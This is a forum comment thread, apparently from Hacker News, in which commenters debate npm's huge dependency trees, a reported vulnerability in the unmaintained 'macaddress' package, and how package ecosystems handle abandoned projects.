Many people here are saying that the problem had been in the code base for years, was super obvious, and that just no one looked at the code. I think that it is much more relevant that the node community does do many micro packages, that it makes so much nose to look at the quality of pulled in packages. I recently pulled down a web app (Zulip) the packages.json expands to almost 1400 npm packages. How is any human going to look at all that. And apparently it is "normal" for an npm project to have that many dependencies. Too me this is madness. It is impossible to know the quality of all those packages.

pi-squared 8y ago
I am not a fan of the whole javascript craze but for comparison on my desktop machine with I assume average setup of ElementaryOS: $ apt list --installed | wc -l 2394 And on my server the number is 502. Couldn't the same argument be applied here as well? I understand that (probably) users of Ubuntu are more involved than supporting npm packages (or... are they) but it's still a lot of packages to eyeball.
- JoshTriplett 8y ago
  Not the same thing. Your desktop install might include a few thousand packages total, but that doesn't mean any significant number of packages pull in a thousand dependencies by themselves. Node packages might consist of a single function.
- georgyo 8y ago
  Sure, but the major difference is that those packages are for everything on your system. Dependencies are often added very carefully. In the node case it is not uncommon for a small app to include 50 small packages, and then those packages pulled in 30 unique smaller packages each (on average). Imagine you did an apt upgrade on your system, or decided to install a new package and it said it was going to install 1500 new packages. Would you continue? It would definitely make me pause for a while. But this is the norm in the node world, and people seem to think it is a good idea.

taf2 8y ago

love those little bobby tables

deleted 8y ago

[deleted]

ashelmire 8y ago

This one has been out for about a month: https://snyk.io/vuln/npm:macaddress:20180511 https://snyk.io/vuln/npm:macaddress:20180511 Unfortunately, it's introduced into any Rails app that uses webpacker or any app using node-sass through a long dependency chain. And once again demonstrates how the JS community is far too dependent on extremely trivial, unsupported, and unaudited libraries.

royjacobs 8y ago

That yet another NPM package proves to be pretty broken seems to be par for the course, but what especially shocks me is that on Hackerone the people working on this vulnerability can't reach the original maintainer and then say: "Doesn't look epic to me, also last publish was 3 years ago." It doesn't look epic, yet it's a package that has over 1.2 million weekly downloads. Also, fun fact, one of the dependent packages is react-input-select...WHY?

00oo00 8y ago
Checkout react-input-select's package.json... It's just full of unrelated random dependencies. Might be some way to advertise his node package?
wolfgang42 8y ago
react-input-select has 640 (!) dependencies, all of which were added by the author in a commit named 'type fix'[1] which seems to have been ostensibly intended to fix a typo, and none of which seem to be required to actually use the library. The only thing I can imagine is that the author somehow added their entire node_modules tree as dependencies. Maybe it was an ill-fated attempt at pinning? [1]: https://github.com/rayescmata/react-input-select/commit/cd7b82578d70b9562013e00eb1ee7594ef628e9d https://github.com/rayescmata/react-input-select/commit/cd7b...

cyphar 8y ago

According to the HackerOne report[1] there was no response from the maintainer and the last package update was 3 years ago. And yet the package is downloaded several million times a month (meaning it's definitely used in something -- I imagine looking at the reverse dependency tree would cause some concern). This is something that bothers me a lot with most of these home-grown package ecosystems. In distributions we remove packages from their main repositories if old maintainers are no longer available and nobody is interested in becoming the new maintainer (we do this in openSUSE all the time). Does the Node (and Rust, Python, Ruby, ...) community have this sort of process for deciding that a project is no longer adequately maintained? One of the benefits of having macro-packages is that it's always clear whether a package is being maintained -- if there isn't a release for a long time then it's probably no longer maintained. But with micro-packages there are thousands which are so trivial they require no updates (see left-pad, ansi-{green,blue,red,yellow,cyan,...}, and so on) that a very large number of projects depend on. Not to mention that distributions don't generally have projects with thousands of dependencies each -- so removing a dependency and everything that depends on it will not destroy the entire package ecosystem. [1]: https://hackerone.com/reports/319467 https://hackerone.com/reports/319467